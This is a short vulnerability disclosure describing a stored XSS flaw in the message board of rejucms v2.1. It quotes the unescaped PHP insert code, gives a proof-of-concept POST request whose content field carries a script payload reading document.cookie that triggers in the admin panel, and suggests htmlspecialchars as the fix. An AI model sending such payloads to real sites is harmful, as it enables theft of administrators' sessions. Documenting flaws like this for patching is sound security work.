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CodeAudit/rejucms_v2.1
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| There is a storage xss vulnerability in rejucms_v2.1 | |
| Description: | |
| There is a storage xss vulnerability in /WWW/rejucms_v2.1/book.php | |
| Vulnerability reasons: | |
| Part of the source code of the message board: | |
| 1. Part of the code for the front of processing of the website(/WWW/rejucms_v2.1/book.php ) | |
| ... | |
| if(isset($_POST['submit'])){ | |
| null_back($_POST['userid'],'请输入姓名'); | |
| null_back($_POST['content'],'请输入内容'); | |
| $data['userid'] = $_POST['userid']; | |
| $data['content'] =addslashes($_POST['content']); | |
| $data['time'] =date('y-m-d h:i:s',time()); | |
| $str = arrtoinsert($data); | |
| $sql = 'insert into rjcms_book ('.$str[0].') values ('.$str[1].')';//Storaged xss vulnerability (Obviously) | |
| if(mysql_query($sql)){ | |
| alert_href('留言成功!','book.php'); | |
| } | |
| else{ | |
| alert_back('注册失败'); | |
| } | |
| } | |
| ... | |
| We can find that the script filtering is not strict. | |
| Storaged xss vulnerability caused by variable s directly stored into the database. | |
| 2.This vulnerability will be triggered when an administrator browses /WWW/rejucm_v2.1/admin/cms_book.php | |
| clicking:http://127.0.0.1/rejucms_v2.1/admin/cms_book.php | |
| POC: | |
| POST /rejucm_v2.1/admin/book.php HTTP/1.1 | |
| Host: 127.0.0.1 | |
| User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0 | |
| Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 | |
| Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 | |
| Accept-Encoding: gzip, deflate | |
| Referer: http://127.0.0.1/rejucm_v2.1/admin/book.php | |
| Content-Type: application/x-www-form-urlencoded | |
| Content-Length: 103 | |
| Cookie: PHPSESSID=jntjholjqlbl2lld6hn24f1c56; Hm_lvt_1b228034eab3f86498adfd4e9d337209=1532789518; Hm_lpvt_1b228034eab3f86498adfd4e9d337209=1532790980 | |
| Connection: close | |
| Upgrade-Insecure-Requests: 1 | |
| userid=test&content=test%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E&submit=%E6%8F%90%E4%BA%A4 | |
| Repair method: | |
| Reference:htmlspecialchars(addslashes($variable)) |